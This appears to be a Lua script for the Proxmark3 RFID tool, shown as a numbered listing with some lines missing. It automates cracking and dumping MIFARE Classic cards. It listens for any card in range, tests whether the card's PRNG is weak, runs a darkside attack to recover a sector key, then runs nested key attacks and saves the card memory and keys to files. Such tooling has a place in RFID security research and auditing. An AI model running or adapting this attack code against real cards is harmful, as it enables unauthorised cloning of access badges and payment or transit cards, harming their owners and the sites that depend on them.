1 local getopt
= require('getopt')
2 local lib14a
= require('read14a')
3 local cmds
= require('commands')
4 local utils
= require('utils')
5 local ansicolors
= require('ansicolors')
8 author
= "Martin Holst Swende"
11 This is a script which automates cracking and dumping mifare classic cards. It sets itself into
12 'listening'-mode, after which it cracks and dumps any mifare classic card that you
15 Please consider using the native command `hf mf autopwn`
18 1. script run hf_mf_autopwn
21 script run hf_mf_autopwn [-h] [-d] [-k <key>]
26 -k known key for Sector 0 , keytype A
29 Output files from this operation:
30 <uid>.eml - emulator file
31 <uid>.html - html file containing card data
32 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
33 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
37 -------------------------------
39 -------------------------------
42 -- A debug printout-function
43 local function dbg(args
)
44 if not DEBUG
then return end
45 if type(args
) == 'table' then
56 -- This is only meant to be used when errors occur
57 local function oops(err
)
59 core
.clearCommandBuffer()
69 print(ansicolors
.cyan
..'Usage'..ansicolors
.reset
)
71 print(ansicolors
.cyan
..'Arguments'..ansicolors
.reset
)
73 print(ansicolors
.cyan
..'Example usage'..ansicolors
.reset
)
77 -- Waits for a mifare card to be placed within the vicinity of the reader.
78 -- @return if successful: an table containing card info
79 -- @return if unsuccessful : nil, error
80 local function wait_for_mifare()
81 while not core
.kbd_enter_pressed() do
82 res
, err
= lib14a
.read()
83 if res
then return res
end
84 -- err means that there was no response from card
86 return nil, 'Aborted by user'
89 local function get_mf_size(sak
)
91 if 0x18 == sak
then --NXP MIFARE Classic 4k | Plus 4k | Ev1 4k
93 elseif 0x08 == sak
then -- NXP MIFARE CLASSIC 1k | Plus 2k | Ev1 1K
95 elseif 0x09 == sak
then -- NXP MIFARE Mini 0.3k
97 elseif 0x10 == sak
then-- "NXP MIFARE Plus 2k"
99 elseif 0x01 == sak
then-- "NXP MIFARE TNP3xxx 1K"
102 print("I don't know how many sectors there are on this type of card, defaulting to 16")
107 local function nested(key
, sak
)
108 local mfs
= get_mf_size(sak
)
109 local cmd
= string.format('hf mf nested %s --blk 0 -k %s --dump', mfs
, key
)
113 local function dump_tag(uid
, sak
)
114 dbg('dumping tag memory')
117 if utils
.confirm('Do you wish to create a memory dump of tag?') then
119 local dumpfile
= 'hf-mf-'..uid
..'-dump'
121 local mfs
= get_mf_size(sak
)
122 local dmp
= ('hf mf dump %s -f %s'):format(mfs
, dumpfile
)
125 -- Save the global args, those are *our* arguments
127 -- Set the arguments for data_mf_bin2html script
128 args
=('-i %s.bin -o %s.html'):format(dumpfile
, dumpfile
)
130 require('data_mf_bin2html')
132 -- Set back args. Not that it's used, just for the karma...
137 -- performs a test if tag nonce uses weak or hardend prng
138 local function perform_prng_test()
139 local isweak
= core
.detect_prng()
141 dbg('PRNG detection : WEAK nonce detected')
142 elseif isweak
== 0 then
143 dbg('PRNG detection : HARDEND nonce detected')
145 dbg('PRNG detection : failed')
150 -- The main entry point
151 local function main(args
)
153 local verbose
, _exit
, res
, uid
, err
, _
, sak
156 local print_message
= true
157 -- Read the parameters
158 for o
, a
in getopt
.getopt(args
, 'hdk:') do
159 if o
== 'h' then help() return end
160 if o
== 'd' then DEBUG
= true end
161 if o
== 'k' then key
= a
end
165 if print_message
then
166 print('Waiting for card or press Enter to stop')
167 print_message
= false
169 res
, err
= wait_for_mifare()
170 if err
then return oops(err
) end
175 if not seen_uids
[uid
] then
179 -- check if PRNG is WEAK
180 if perform_prng_test() == 1 then
181 print('Card found, commencing crack on UID', uid
)
184 print('Using key: '..key
);
188 err
, res
= core
.mfDarkside()
189 if err
~= 0 then return oops('Darkside attack failed.') end
190 -- The key is actually 8 bytes, so a
191 -- 6-byte key is sent as 00XXXXXX
192 -- This means we unpack it as first
193 -- two bytes, then six bytes actual key data
194 -- We can discard first and second return values
195 _
,_
,key
= bin
.unpack('H2H6',res
)
196 print('Found valid key: '..key
);
203 if #key
== 12 then _exit
= true end
205 print('Card found, darkside attack useless PRNG hardend on UID', uid
)